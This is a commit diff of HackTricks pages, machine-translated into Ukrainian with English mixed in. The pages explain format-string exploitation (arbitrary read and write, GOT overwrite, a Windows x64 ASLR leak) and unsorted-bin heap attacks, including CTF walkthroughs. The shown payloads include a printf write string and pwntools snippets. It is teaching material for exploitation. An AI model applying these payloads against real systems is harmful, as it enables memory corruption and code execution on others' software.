Translated ['', 'src/generic-methodologies-and-resources/phishing-method

This commit is contained in:
Translator 2025-08-29 12:23:34 +00:00
parent 6f70836e3d
commit b18c180b64
25 changed files with 2148 additions and 2161 deletions

View File

@ -5,13 +5,13 @@
## Основна інформація
У C **`printf`** — функція, яка використовується для **виведення** рядка. **Перший параметр**, який ця функція очікує — це **сирий текст з форматними специфікаторами**. **Наступні параметри**, які очікуються — це **значення**, щоб **підставити** **форматні специфікатори** зі сирого тексту.
У C **`printf`** — функція, яку можна використовувати для **виведення** рядка. **Першим параметром**, який очікує ця функція, є **сирий текст з форматерами**. **Наступні параметри** — це **значення**, якими підставляються **форматери** у сирому тексті.
Інші вразливі функції **`sprintf()`** та **`fprintf()`**.
Інші вразливі функції: **`sprintf()`** та **`fprintf()`**.
Вразливість виникає, коли **текст зловмисника використовується як перший аргумент** цієї функції. Зловмисник зможе створити **спеціальний вхід, що зловживає** можливостями **printf format** string, щоб читати і **записувати будь-які дані за будь-якою адресою (доступною для читання/запису)**. Таким чином можна **виконувати довільний код**.
Вразливість виникає, коли **attacker text is used as the first argument** до цієї функції. attacker зможе створити **спеціальний вхід, який зловживає** можливостями рядка формату **printf** для читання та **записувати будь-які дані в будь-яку адресу (readable/writable)**. Таким чином можна **execute arbitrary code**.
#### Форматні специфікатори:
#### Форматери:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -54,26 +54,26 @@ return 0;
```
### **Доступ до вказівників**
Формат **`%<n>$x`**, де `n` — число, дозволяє вказати printf вибрати n-тий параметр (зі стеку). Тому, якщо ви хочете прочитати 4-й параметр зі стеку за допомогою printf, ви можете зробити:
Формат **`%<n>$x`**, де `n`це число, дозволяє вказати printf вибрати n-й параметр (зі stack). Отже, якщо ви хочете прочитати 4-й параметр зі stack за допомогою printf, ви можете зробити так:
```c
printf("%x %x %x %x")
```
і ви б читали з першого по четвертий параметр.
і ви б читали від першого до четвертого параметра.
Або ви можете зробити:
Або ви могли б зробити:
```c
printf("%4$x")
```
і прочитати безпосередньо четвертий.
і безпосередньо прочитати четвертий.
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
Notice that the attacker controls the `printf` **параметр, що, по суті, означає, що** його введення опиниться в stack під час виклику `printf`, а це дозволяє йому записувати конкретні адреси пам'яті в stack.
> [!CAUTION]
> Attacker, який контролює цей input, зможе **add arbitrary address in the stack and make `printf` access them**. У наступному розділі буде пояснено, як використати цю поведінку.
> Зловмисник, що контролює це введення, зможе **додати довільні адреси в stack і змусити `printf` звертатися до них**. У наступному розділі буде пояснено, як використовувати цю поведінку.
## **Arbitrary Read**
Можна використати форматер **`%n$s`**, щоб змусити **`printf`** отримати **address** розташовану на **n position**, перейти за нею й **print it as if it was a string** (виводиться до першого 0x00). Отже, якщо базова address бінарника — **`0x8048000`**, і ми знаємо, що user input починається на 4th позиції в stack, можна надрукувати початок бінарника за допомогою:
Можна використати форматтер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, розташовану в **n-й позиції**, перейти за нею та **вивести її як рядок** (виводити до зустрічі 0x00). Отже, якщо базова адреса бінарного файлу — **`0x8048000`**, і ми знаємо, що введення користувача починається на 4-й позиції в stack, можна вивести початок бінарника за допомогою:
```python
from pwn import *
@ -87,11 +87,11 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Зауважте, що ви не можете помістити адресу 0x8048000 на початок вводу, оскільки рядок буде обірваний 0x00 в кінці цієї адреси.
> Зауважте, що ви не можете помістити адресу 0x8048000 на початок введення, оскільки рядок буде обірвано символом 0x00 в кінці цієї адреси.
### Find offset
### Знайти offset
Щоб знайти offset вашого вводу, ви можете надіслати 4 або 8 байтів (`0x41414141`) з наступним **`%1$x`** і **збільшувати** значення, доки не отримаєте `A's`.
Щоб знайти offset до вашого введення, ви можете відправити 4 або 8 байтів (`0x41414141`) після яких додати **`%1$x`** і **збільшувати** значення, поки не отримаєте `A's`.
<details>
@ -128,50 +128,49 @@ p.close()
### Наскільки корисно
Arbitrary reads можуть бути корисними для:
Arbitrary reads можуть бути корисні для:
- **Dump** the **binary** з пам'яті
- **Access specific parts of memory where sensitive** **info** зберігається (наприклад, canaries, encryption keys або custom passwords як у цьому [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Access specific parts of memory where sensitive** **info** is stored (наприклад canaries, encryption keys або custom passwords, як у цьому [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
Форматтер **`%<num>$n`** **записує** **кількість записаних байтів** за **вказаною адресою**, яка знаходиться в параметрі <num> на стеку. Якщо атакуючий може записати стільки символів, скільки захоче через printf, він зможе змусити **`%<num>$n`** записати довільне число в довільну адресу.
Форматтер **`%<num>$n`** **writes** the **number of written bytes** в **вказану адресу**, яка знаходиться в параметрі <num> у стеку. Якщо атакуючий може вивести стільки символів, скільки захоче за допомогою printf, він зможе змусити **`%<num>$n`** записати довільне число у довільну адресу.
На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" у ввідні дані; натомість можна використовувати форматтер **`%.<num-write>%<num>$n`** щоб записати число **`<num-write>`** за **адресою, на яку вказує позиція `num`**.
На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" до вводу; можна використати форматтер **`%.<num-write>%<num>$n`** щоб записати число **`<num-write>`** в **адресу, на яку вказує позиція `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Однак зауважте, що зазвичай, щоб записати адресу, наприклад `0x08049724` (яка є ДУЖЕ ВЕЛИКОЮ для запису одразу), **використовується `$hn`** замість `$n`. Це дозволяє **записати лише 2 байти**. Тому ця операція виконується двічі: один раз для старших 2 байтів адреси і ще раз для молодших.
Проте зауважте, що зазвичай, щоб записати адресу таку як `0x08049724` (що є ВЕЛИКИМ числом для одноразового запису), **використовується `$hn`** замість `$n`. Це дозволяє **записувати лише 2 байти**. Отже, цю операцію виконують двічі: для старших 2 байтів адреси й для молодших.
Отже, ця вразливість дозволяє **записати будь-що в будь-яку адресу (arbitrary write).**
У цьому прикладі мета—**перезаписати** **адресу** **функції** в таблиці **GOT**, яка буде викликана пізніше. Хоча можна також використати інші arbitrary write to exec techniques:
Тому ця вразливість дозволяє **записати будь-що у будь-яку адресу (arbitrary write).**
У цьому прикладі мета — **перезаписати** **адресу** **функції** в таблиці **GOT**, яка буде викликана пізніше. Хоча це також можна використати з іншими arbitrary write → exec техніками:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Ми збираємося **перезаписати** **функцію**, яка **отримує** свої **аргументи** від **користувача**, і **вказати** її на **функцію** **`system`**.\
Як уже згадувалося, щоб записати адресу зазвичай потрібно 2 кроки: спочатку ви **записуєте 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**.
Ми збираємося **перезаписати** **функцію**, яка **отримує** свої **аргументи** від **користувача**, і **вказати** її на функцію **`system`**.\
Як згадувалося, щоб записати адресу зазвичай потрібно 2 кроки: спочатку записують 2 байти адреси, а потім інші 2. Для цього використовується **`$hn`**.
- **HOB** відповідає за 2 старші байти адреси
- **LOB** відповідає за 2 молодші байти адреси
- **HOB** — це 2 старші байти адреси
- **LOB** — це 2 молодші байти адреси
Через особливості роботи format string потрібно спочатку **записати менший** з \[HOB, LOB], а потім інший.
Тоді, через те, як працює format string, потрібно **спочатку записати найменше** з \[HOB, LOB] а потім інше.
If HOB < LOB\
Якщо HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
Якщо HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Template
### Шаблон Pwntools
Ви можете знайти **шаблон**, щоб підготувати exploit для цього типу вразливості в:
@ -201,26 +200,26 @@ p.interactive()
```
## Format Strings to BOF
Можна зловживати діями запису format string vulnerability, щоб **write in addresses of the stack** та експлуатувати уразливість типу **buffer overflow**.
Можна зловживати операціями запису вразливості format string, щоб **записувати в адреси stack** і експлуатувати тип вразливості **buffer overflow**.
## Windows x64: Format-string leak to bypass ASLR (no varargs)
На Windows x64 перші чотири integer/pointer параметри передаються в регістри: RCX, RDX, R8, R9. У багатьох buggy call-sites attacker-controlled string використовується як format argument, але variadic arguments не надаються, наприклад:
На Windows x64 перші чотири цілочисельні/вказівникові параметри передаються в регістри: RCX, RDX, R8, R9. У багатьох вразливих місцях виклику рядок, контрольований атакуючим, використовується як аргумент формату, але жодні варіативні аргументи не передаються, наприклад:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Оскільки не передаються varargs, будь-яка конверсія на кшталт "%p", "%x", "%s" змусить CRT зчитати наступний variadic-аргумент з відповідного регістра. За Microsoft x64 calling convention перше таке зчитування для "%p" відбувається з R9. Будь-яке тимчасове значення, що знаходиться в R9 у момент виклику, буде надруковано. На практиці це часто призводить до витоку стабільного in-module pointer (наприклад, вказівник на локальний/глобальний об'єкт, раніше розміщений в R9 оточуючим кодом або callee-saved value), яке можна використати для відновлення module base та обходу ASLR.
Оскільки жодні varargs не передаються, будь-яке перетворення типу "%p", "%x", "%s" змусить CRT прочитати наступний варіативний аргумент з відповідного регістру. За Microsoft x64 calling convention перше таке читання для "%p" відбувається з R9. Будь-яке тимчасове значення в R9 на момент виклику буде виведено. На практиці це часто дає leak стабільного вказівника всередині модуля (наприклад, вказівник на локальний/глобальний об'єкт, раніше поміщений в R9 оточуючим кодом або значення, збережене callee), що можна використати для відновлення module base і обходу ASLR.
Практичний робочий процес:
- Впровадьте нешкідливий формат, наприклад "%p " на самому початку рядка під контролем атакуючого, щоб перша конверсія виконалася до фільтрації.
- Захопіть витеклий вказівник, визначте статичний офсет цього об'єкта всередині модуля (шляхом зворотного аналізу з символами або локальною копією), і відновіть image base як `leak - known_offset`.
- Повторно використайте цю базу для обчислення абсолютних адрес для ROP gadgets та IAT entries віддалено.
- Впровадьте нешкідливий формат, наприклад "%p " на самому початку рядка, контрольованого атакуючим, щоб перше перетворення виконалося до будь-якого фільтрування.
- Захопіть leak-вказівник, визначте статичний офсет цього об'єкта всередині модуля (шляхом reversing з символами або локальної копії), та відновіть image base як `leak - known_offset`.
- Повторно використайте цю базу для обчислення абсолютних адрес для ROP gadgets і IAT entries віддалено.
Приклад (скорочений python):
Example (abbreviated python):
```python
from pwn import remote
@ -233,25 +232,25 @@ base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
Примітки:
- Точний зсув для віднімання знаходять один раз під час локального реверсингу й потім повторно використовують (same binary/version).
- Якщо "%p" не виводить дійсний вказівник з першої спроби, спробуйте інші специфікатори ("%llx", "%s") або кілька конверсій ("%p %p %p"), щоб промапити інші argument registers/stack.
- Цей патерн специфічний для Windows x64 calling convention та реалізацій printf-family, які читають неіснуючі varargs з регістрів, коли форматний рядок їх запитує.
- Точне зміщення, яке потрібно відняти, знаходять один раз під час локального реверсингу і потім повторно використовують (той самий бінарний файл/версія).
- Якщо "%p" не виводить валідний вказівник з першої спроби, спробуйте інші специфікатори ("%llx", "%s") або кілька конверсій ("%p %p %p"), щоб опитати інші регістри/стек аргументів.
- Цей патерн специфічний для Windows x64 calling convention та реалізацій printf-family, які зчитують неіснуючі varargs з регістрів, коли форматний рядок їх запитує.
Ця техніка надзвичайно корисна для bootstrap ROP на Windows сервісах, скомпільованих з ASLR та без очевидних memory disclosure primitives.
Ця техніка надзвичайно корисна для bootstrap ROP на Windows сервісах, скомпільованих з ASLR і без очевидних memory disclosure primitives.
## Інші приклади & посилання
## Інші приклади та посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, базове використання format strings щоб leak flag зі stack (не потрібно змінювати потік виконання)
- 32 bit, no relro, no canary, nx, no pie, базове використання format strings для leak flag зі stack (не потрібно змінювати execution flow)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string щоб перезаписати адресу `fflush` на win function (ret2win)
- 32 bit, relro, no canary, nx, no pie, format string для перезапису адреси `fflush` на win function (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string щоб записати адресу всередині main у `.fini_array` (так що потік виконання повертається ще раз) і записати адресу `system` у GOT для `strlen`. Коли потік повернеться в main, виклик `strlen` з ввідом користувача, але вказуючи на `system`, виконає передані команди.
- 32 bit, relro, no canary, nx, no pie, format string для запису адреси всередину main у `.fini_array` (щоб flow повернувся ще один раз) і запису адреси `system` у GOT, яка вказує на `strlen`. Коли flow повернеться в main, `strlen` буде виконаний з user input і, оскільки вказує на `system`, виконає передані команди.
## Посилання
## Джерела
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

View File

@ -2,18 +2,18 @@
{{#include ../../banners/hacktricks-training.md}}
## Основна інформація
## Basic Information
Для детальнішої інформації про те, що таке unsorted bin див. цю сторінку:
For more information about what is an unsorted bin check this page:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted lists можуть записати адресу в `unsorted_chunks (av)` у полі `bk` чанку. Тому, якщо атакуючий може **змінити адресу вказівника `bk`** у чанку всередині unsorted bin, він зможе **записати цю адресу за довільною адресою**, що може допомогти leak адреси Glibc або обійти деякі захисти.
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
Отже, по суті ця атака дозволяє **встановити велике число за довільною адресою**. Це «велике число» — адреса, яка може бути heap-адресою або адресою Glibc. Традиційною ціллю був **`global_max_fast`**, щоб дозволити створювати fast bin з більшими розмірами (та перейти від unsorted bin attack до fast bin attack).
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack).
- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
@ -23,49 +23,49 @@ Unsorted lists можуть записати адресу в `unsorted_chunks (a
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> [!CAUTION]
> Зверніть увагу, що ця атака корумпує unsorted bin (а отже і small та large). Тому тепер ми можемо **використовувати лише алокації з fast bin** (складніша програма може робити інші алокації і впасти), і щоб тригернути це ми повинні **розподілити пам'ять того самого розміру, інакше програма впаде.**
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
>
> Зверніть увагу, що перезапис **`global_max_fast`** може допомогти в цьому випадку, довіряючи, що fast bin зможе обслужити всі інші алокації, поки експлойт не буде завершений.
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
Код від [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) добре це пояснює, хоча якщо змінити malloc-и так, щоб вони виділяли пам'ять достатню велику щоб не потрапляти в Tcache, можна побачити раніше згадану помилку, яка заважає цій техніці: **`malloc(): unsorted double linked list corrupted`**
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
### Як фактично відбувається запис
### How the write actually happens
- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list.
- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`.
- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded.
## Сучасні обмеження (glibc ≥ 2.33)
## Modern constraints (glibc ≥ 2.33)
Щоб надійно використовувати unsortedbin writes у сучасних glibc:
To use unsortedbin writes reliably on current glibc:
- Tcache interference: для розмірів, які потрапляють у tcache, frees перенаправляються туди і не торкаються unsorted bin. Варіанти:
- робити запити з розмірами > MAX_TCACHE_SIZE (≥ 0x410 на 64біт за замовчуванням), або
- заповнити відповідний tcache bin (7 записів), щоб додаткові frees діставалися до глобальних бінів, або
- якщо середовище контрольоване, відключити tcache (наприклад, GLIBC_TUNABLES glibc.malloc.tcache_count=0).
- Integrity checks on the unsorted list: на наступному шляху алокації, який перевіряє unsorted bin, glibc перевіряє (спрощено):
- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; інакше воно завершується з `malloc(): unsorted double linked list corrupted`.
- Це означає, що адреса, яку ви цілите, має терпляче переносити два записи: спочатку `*(TARGET) = victim` під час free; пізніше, коли чанк буде видалятися, `*(TARGET) = unsorted_chunks(av)` (аллокатор перезаписує `bck->fd` назад на голову біну). Обирайте цілі, де просте примусове встановлення великого ненульового значення корисне.
- Типові стабільні цілі в сучасних експлоїтах
- Стан застосунку або глобальний стан, який трактує «великі» значення як прапори/ліміти.
- Побічні примітиви (наприклад, підготовка для наступного [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) або для переключення на пізніший writewhatwhere).
- Уникайте `__malloc_hook`/`__free_hook` у нових glibc: вони були видалені в 2.34. Уникайте `global_max_fast` на ≥ 2.39 (див. попередню примітку).
- Про `global_max_fast` у нещодавніх glibc
- У glibc 2.39+ `global_max_fast` став 8бітною глобальною змінною. Класичний трюк записати туди heapвказівник більше не працює коректно і, ймовірно, корумпуватиме сусідній стан аллокатора. Краще обирати інші стратегії.
- Tcache interference: for sizes that fall into tcache, frees are diverted there and wont touch the unsorted bin. Either
- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64bit by default), or
- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or
- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified):
- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.
- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at freetime; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large nonzero value is useful.
- Typical stable targets in modern exploits
- Application or global state that treats "large" values as flags/limits.
- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later writewhatwhere).
- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note).
- About `global_max_fast` on recent glibc
- On glibc 2.39+, `global_max_fast` is an 8bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies.
## Minimal exploitation recipe (modern glibc)
Мета: досягти одного довільного запису heapвказівника за довільною адресою, використовуючи примітив вставки в unsortedbin, без аварійного завершення.
Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsortedbin insertion primitive, without crashing.
- Layout/grooming
- Виділіть A, B, C з розмірами, достатніми, щоб обійти tcache (наприклад, 0x5000). C запобігає консолідації з top chunk.
- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
- Corruption
- Переповнення з A у заголовок B, щоб встановити `B->bk = (mchunkptr)(TARGET - 0x10)`.
- Overflow from A into Bs chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`.
- Trigger
- `free(B)`. Під час вставки аллокатор виконує `bck->fd = B`, отже `*(TARGET) = B`.
- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`.
- Continuation
- Якщо ви плануєте продовжувати алокації й програма використовує unsorted bin, очікуйте, що аллокатор пізніше встановить `*(TARGET) = unsorted_chunks(av)`. Обидва значення зазвичай великі і можуть бути достатніми, щоб змінити семантику розмірів/лімітів у цілях, які лише перевіряють «велике».
- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big".
Pseudocode skeleton:
```c
@ -80,33 +80,34 @@ void *C = malloc(0x5000); // guard
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
```
> [!NOTE]
> • Якщо ви не можете обійти tcache за допомогою size, заповніть tcache bin для обраного size (7 frees) перед тим як звільнити пошкоджений chunk, щоб free перейшов в unsorted.
> • Якщо програма одразу припиняє роботу при наступному виклику allocation через перевірки unsorted-bin, повторно перевірте, що `victim->fd` все ще дорівнює голові біну і що ваш `TARGET` містить точний вказівник на `victim` після першого запису.
> • Якщо ви не можете обійти tcache за розміром, заповніть tcache bin для обраного розміру (7 frees) перед тим, як звільнити пошкоджений chunk, щоб free пішов у unsorted.
> • Якщо програма негайно аварійно завершується на наступному виділенні через перевірки unsorted-bin, ще раз перевірте, що `victim->fd` досі дорівнює голові bin і що ваш `TARGET` містить точний вказівник `victim` після першого запису.
## Unsorted Bin Infoleak Attack
Насправді це дуже базова концепція. Чанки в unsorted bin будуть містити вказівники. Перший chunk в unsorted bin фактично має **`fd`** і **`bk`** посилання, **що вказують на частину main arena (Glibc)**.\
Тому, якщо ви можете **помістити chunk в unsorted bin і прочитати його** (use after free) або **виділити його знову без перезапису принаймні одного з вказівників**, щоб потім **прочитати** його, ви можете отримати **Glibc info leak**.
Насправді це доволі проста концепція. Чанки в unsorted bin будуть містити вказівники. Перший chunk в unsorted bin фактично має **`fd`** і **`bk`** посилання, які **вказують на частину main arena (Glibc)**.\
Отже, якщо ви можете **помістити chunk в unsorted bin і прочитати його** (use after free) або **заново allocate його без перезапису принаймні одного з вказівників**, щоб потім **прочитати** його, ви можете отримати **Glibc info leak**.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
Схожий [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) полягав у зловживанні структурою з 4 chunks (A, B, C і D — D потрібен лише, щоб запобігти консолідації з top chunk), тому null byte overflow в B використовувався, щоб змусити C вказувати, що B не використовується. Також в B дані `prev_size` були змінені так, що розмір замість розміру B став A+B.\
Потім C було deallocated і консолідовано з A+B (але B залишався у використанні). Було виділено новий chunk розміру A, і в B записали libc leaked addresses, звідки вони були leaked.
## References & Other examples
## Посилання та інші приклади
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- Мета — перезаписати глобальну змінну значенням більше ніж 4869, щоб отримати flag; PIE не увімкнено.
- Мета — перезаписати глобальну змінну значенням більшим за 4869, щоб стати можливим отримання flag і PIE не увімкнено.
- Можна згенерувати chunks довільних розмірів і існує heap overflow потрібного розміру.
- Атака починається зі створення 3 чанків: chunk0 для зловживання overflow, chunk1 — який буде переповнений, і chunk2, щоб top chunk не консолідував попередні.
- Потім chunk1 звільняють, і chunk0 переповнюють так, щоб `bk` вказував на: `bk = magic - 0x10`
- Потім виділяють chunk3 того ж розміру, що й chunk1, що спрацьовує unsorted bin attack і змінює значення глобальної змінної, дозволяючи отримати flag.
- Атака починається зі створення 3 chunks: chunk0 для зловживання overflow, chunk1 який буде overflowed і chunk2 щоб top chunk не консолідував попередні.
- Потім chunk1 звільняють і chunk0 переповнюють до `bk` вказівника chunk1, який тепер вказує на: `bk = magic - 0x10`
- Далі виділяють chunk3 того ж розміру, що й chunk1, що викликає unsorted bin attack і змінює значення глобальної змінної, що робить можливим отримання flag.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- Функція merge вразлива, бо якщо передані індекси однакові, вона зробить realloc на ньому, потім free, але поверне вказівник на звільнену область, який можна використовувати.
- Тому створюються **2 чанки**: **chunk0**, який буде merged з самим собою, і chunk1, щоб запобігти консолідації з top chunk. Потім **merge function викликається для chunk0** двічі, що призводить до use after free.
- Потім викликається функція **`view`** з індексом 2 (індекс use after free chunk), яка **leaks a libc address**.
- Оскільки бінар має захисти, що дозволяють malloc лише розміри більші за **`global_max_fast`**, тому fastbin не використовується, застосовується unsorted bin attack для перезапису глобальної змінної `global_max_fast`.
- Потім можна викликати edit з індексом 2 (вказівник use after free) і перезаписати вказівник `bk`, щоб він вказував на `p64(global_max_fast-0x10)`. Створення нового chunk використає попередньо скомпрометовану адресу free (0x20) і спровокує unsorted bin attack, перезаписавши `global_max_fast` на дуже велике значення, що дозволить тепер створювати chunks у fast bins.
- Функція merge вразлива, тому що якщо передані обидва індекси однакові, вона зробить realloc на ньому, потім free, але поверне вказівник на ту freed область, яку можна використати.
- Тому **створюються 2 chunks**: **chunk0**, який буде змержений сам з собою, і chunk1, щоб запобігти консолідації з top chunk. Потім викликають **merge** з chunk0 двічі, що викликає use after free.
- Далі викликають функцію **view** з індексом 2 (індекс use after free chunk), яка **leaks libc address**.
- Оскільки бінар має обмеження, що malloc дозволений лише на розміри більші за **`global_max_fast`**, тому fastbin не використовується, застосовується unsorted bin attack для перезапису глобальної змінної `global_max_fast`.
- Потім можна викликати функцію edit з індексом 2 (вказівник use after free) і перезаписати `bk` вказівник, щоб він вказував на `p64(global_max_fast-0x10)`. Створення нового chunk використає попередньо скомпрометовану freed адресу (0x20) і **trigger the unsorted bin attack**, перезаписавши `global_max_fast` на дуже велике значення, що дозволяє тепер створювати chunks у fast bins.
- Тепер виконується **fast bin attack**:
- Насамперед з'ясовано, що можна працювати з fast **chunks розміру 200** у розташуванні **`__free_hook`**:
- По-перше встановлено, що можна працювати з fast **chunks розміром 200** у локації **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -115,19 +116,21 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Якщо вдасться отримати fast chunk розміру 0x200 у цьому місці, стане можливим перезаписати вказівник на функцію, яка буде виконана.
- Для цього створюється новий chunk розміру `0xfc` і merge function викликається з тим вказівником двічі, таким чином ми отримуємо вказівник на звільнений chunk розміру `0xfc*2 = 0x1f8` у fast bin.
- Потім у цьому chunk викликається edit, щоб змінити адресу **`fd`** цього fast bin так, щоб вона вказувала на попередню функцію **`__free_hook`**.
- Потім створюється chunk розміру `0x1f8`, щоб вибрати з fast bin попередній марний chunk; після цього створюється ще один chunk розміру `0x1f8`, щоб отримати fast bin chunk у **`__free_hook`**, який перезаписується адресою функції **`system`**.
